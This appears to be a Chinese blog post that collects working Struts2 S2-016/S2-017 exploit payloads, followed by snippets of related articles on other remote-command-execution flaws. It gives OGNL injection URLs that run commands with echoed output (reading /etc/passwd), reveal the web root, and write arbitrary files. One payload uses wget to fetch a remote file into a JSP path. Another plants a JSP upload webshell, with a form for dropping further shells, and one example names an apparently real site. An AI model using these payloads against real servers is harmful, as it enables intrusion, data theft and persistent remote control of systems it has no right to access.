Struts2 S2-016/S2-017 命令执行带回显、写入文件,看web路径、getshell exp整理

带回显命令执行:

http://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat‘,‘/etc/passwd‘})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse‘),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

查看web路径:

http://www.example.com/struts2-blank/example/X.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

向web目录写入文件: x.html是文件名字,test 是文件内容

http://rank.kongzhong.com:80/updateUserName?aid=&redirect:xxxxx%25{%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest‘),%23path%3d%23req.getRealPath(%22/%22)%2b‘/x.html‘,%23d%3dnew%20java.io.FileWriter(%23path),%23d.write(‘test‘),%23d.close()}

linux wget getshell 利用stusts2:

http://www.baidu.com/1.action?redirect:${%23a%3d(new  java.lang.ProcessBuilder(new java.lang.String[]{‘wget‘,‘http://www.url.com/xx.txt‘,‘- O‘,‘/root/1.jsp‘}
 )).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e), %23piaoye%3d%23context.get (‘com.opensymphony.xwork2.dispatcher.HttpServletResponse‘),%23piaoye.getWriter().println (%23e),%23piaoye.getWriter().flush(),%23piaoye.getWriter().close()}

getshell通杀版本:

http://www.example.com/struts2-blank/example/X.action?redirect:${
%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest‘),
 %23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
 }&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

写入的文件是:

<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

配合客户端使用:

其实就是一个jsp的小马,需要客户端配合

函数f是文件名,t是内容

客户端:

<form action="http://www.example.com/struts2-blank/example/css3.jsp?f=fjp.jsp" method="post">
<textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value="提交">
</form>

就在当前目录建立一个fjp.jsp

shell:http://www.example.com/struts2-blank/example/fjp.jsp

时间: 2024-08-27 20:10:15

Struts2 S2-016/S2-017 命令执行带回显、写入文件,看web路径、getshell exp整理的相关文章

Struts2命令执行各版本记录

Struts2命令执行集合 截止至S2-037 原文链接:http://blog.0kami.cn/2017/01/13/Struts2-history-payload/ Struts2框架的RCE远程命令执行的确是一个比较经典的漏洞,这个框架犹如一个筛子,一个人十个指头能按住几个洞-- 参考描述: Struts2 S2-001 影响版本:2.0.0 - 2.0.8具体详情:https://struts.apache.org/docs/s2-001.html该漏洞因为用户提交表单数据并且验证失败

Supervisord 远程命令执行漏洞(CVE-2017-11610)

Supervisor是使用Python 开发的进程管理程序,一般使用命令行进行管理,当然也能通过web接口图形化管理服务.在配置了web接口后,服务器会启动一个XMLRPC服务器,端口为9001,默认配置接口是不需要密码访问的,管理员也可设置为密码访问.利用本漏洞,在获取该接口的访问权限后,远程攻击者可发送一段精心构造的请求,导致可在服务器执行任意代码. 影响版本:Supervisor 3.1.2 <= Version <= 3.3.2 已修复版本:Supervisor 3.3.3.Super

MySQL命令执行sql文件的两种方法

MySQL命令执行sql文件的两种方法 摘要:和其他数据库一样,MySQL也提供了命令执行sql脚本文件,方便地进行数据库.表以及数据等各种操作.下面笔者讲解MySQL执行sql文件命令的两种方法,希望能给刚开始学习 MySQL 数据库的朋友们. 学习过 SQLServer 或 Oracle 的朋友会知道,sql 脚本是包含一到多个 sql 命令的 sql 语句集合,我们可以将这些 sql 脚本放在一个文本文件中(我们称之为“sql 脚本文件”),然后通过相关的命令执行这个 sql 脚本文件.基

ImageMagick爆高危命令执行漏洞

ImageMagick爆高危命令执行漏洞 0x01 前言 ImageMagick是一套功能强大.稳定而且开源的工具集和开发包,可以用来读.写和处理超过89种基本格式的图片文件,包括流行的TIFF.JPEG.GIF.PNG.PDF以及PhotoCD等格式.众多的网站平台都是用他渲染处理图片.可惜在3号时被公开了一些列漏洞,其中一个漏洞可导致远程执行代码(RCE),如果你处理用户提交的图片.该漏洞是针对在野外使用此漏洞.许多图像处理插件依赖于ImageMagick库,包括但不限于PHP的imagic

Linux命令执行流程

当我们执行一条命令的时候,整个命令执行流程如下: 1.判断路径 判断用户是否以绝对路径或相对路径的方式输入命令(如/bin/ls),如果是的话,直接执行. 2.检查别名 Linux 系统会检查用户输入的命令是否为“别名命令”.要知道,通过 alias 命令是可以给现有命令自定义别名的,即用一个自定义的命令名称来替换原本的命令名称. 3.判断用户输入的是内部命令还是外部命令 Linux命令行解释器(又称为 Shell)会判断用户输入的命令是内部命令还是外部命令.其中,内部命令指的是解释器内部的命令

结合 find 命令删除指定后缀的文件

结合find 删除 通过 find 来完成,更加安全智能,支持的参数更多. 可以先使用 ls 命令列出需要删除的文件看是否正确,然后再执行删除命令.例如,通过如下指令,删除 user 目录下的 png 文件: find /home/user/ -name ".png" | xargs rm -r 原文地址:https://www.cnblogs.com/MeiCheng/p/10977480.html

Struts2再爆远程命令执行漏洞![W3bSafe]Struts2-048 Poc Shell及防御修复方案抢先看!

漏洞概述 Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架.在Struts 2.3.x 系列的 Showcase 应用中演示Struts2整合Struts 1 的插件中存在一处任意代码执行漏洞.当你的应用使用了Struts2 Struts1的插件时,可能导致不受信任的输入传入到ActionMessage类中导致命令执行. 解决方案 向ActionMessage传递原始消息时使用类似下面的资源键值,不要

struts2远程命令执行漏洞S2-045

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵,漏洞评级为:高危. 漏洞详情:恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令. 风险等级:高风险. 漏洞风险:黑客通过利用漏洞可以实现远程命令执行. 影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2

路由器漏洞挖掘之 DIR-850/645 命令执行漏洞复现

前言 这次来分析两个比较经典的路由器命令执行漏洞,DIR-850 和 DIR-645 的 RCE,漏洞成因都是由于参数拼接不当造成的. 漏洞分析 根据前一篇文章中的任意文件读取漏洞,在读取到 DEVICE.ACCOUNT 配置文件中的敏感信息之后,我们就可以进一步利用,达到命令执行的目的,进而 getshell. php 源代码 代码如下: 这里的 server 变量可控,导致在拼接时,我们可以闭合前面的命令参数,执行任意命令. 通过前一步的任意文件读取得到 admin 的密码之后,登录上去抓包